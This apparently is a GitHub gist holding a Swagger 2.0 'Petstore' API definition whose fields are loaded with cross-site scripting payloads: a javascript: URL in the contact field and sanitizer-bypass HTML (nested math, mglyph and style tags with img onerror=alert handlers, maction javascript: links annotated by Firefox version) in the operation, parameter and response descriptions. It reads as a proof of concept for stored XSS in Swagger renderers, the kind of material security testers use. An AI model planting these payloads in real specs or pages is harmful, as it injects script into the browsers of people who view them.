Last active
February 9, 2022 23:29
-
-
Save morentharia/18790c88e860e6c62b87a482d4330ace to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"swagger": "2.0", | |
"info": { | |
"version": "1.0.0", | |
"title": "Swagger Petstore", | |
"contact":{ | |
"name": "API Support", | |
"url": "javascript:alert('xss')" | |
} | |
}, | |
"paths": { | |
"/pets": { | |
"get": { | |
"description": "HAHAHAHH<math><mtext><h1><a><h6></a></h6><mglyph><svg><mtext><style><a title=\"</style><img src onerror='alert(1)'>\"></style></h1>HOHOHOHO", | |
"operationId": "findPets", | |
"produces": [ | |
"application/json", | |
"application/xml", | |
"text/xml", | |
"text/html" | |
], | |
"parameters": [ | |
{ | |
"name": "tags", | |
"in": "query", | |
"description": "<div id=\"130\"><math href=\"javascript:alert(130)\">CLICKME</math>\n<math>\n<!-- up to FF 13 -->\n<maction actiontype=\"statusline#http://google.com\" xlink:href=\"javascript:alert(2)\">CLICKME</maction>\n\n<!-- FF 14+ -->\n<maction actiontype=\"statusline\" xlink:href=\"javascript:alert(3)\">CLICKME<mtext>http://http://google.com</mtext></maction>\n</math>//[\"'`-->]]>]</div>HOHOHOH", | |
"required": false, | |
"type": "array", | |
"items": { | |
"type": "string" | |
}, | |
"collectionFormat": "csv" | |
}, | |
{ | |
"name": "limit", | |
"in": "query", | |
"description": "HAHAHAHHH\"'>\n<form><math><mtext>\n</form><form>\n<mglyph\n><style></math>\n<img src onerror=alert(1)></script>HOHOHOHO", | |
"required": false, | |
"type": "integer", | |
"format": "int32" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "HAHAHAHHH\"'>\n<form><math><mtext>\n</form><form>\n<mglyph\n><style></math>\n<img src onerror=alert(1)></script>HOHOHOHO", | |
"schema": { | |
"type": "string" | |
} | |
}, | |
"default": { | |
"description": "unexpected error" | |
} | |
} | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment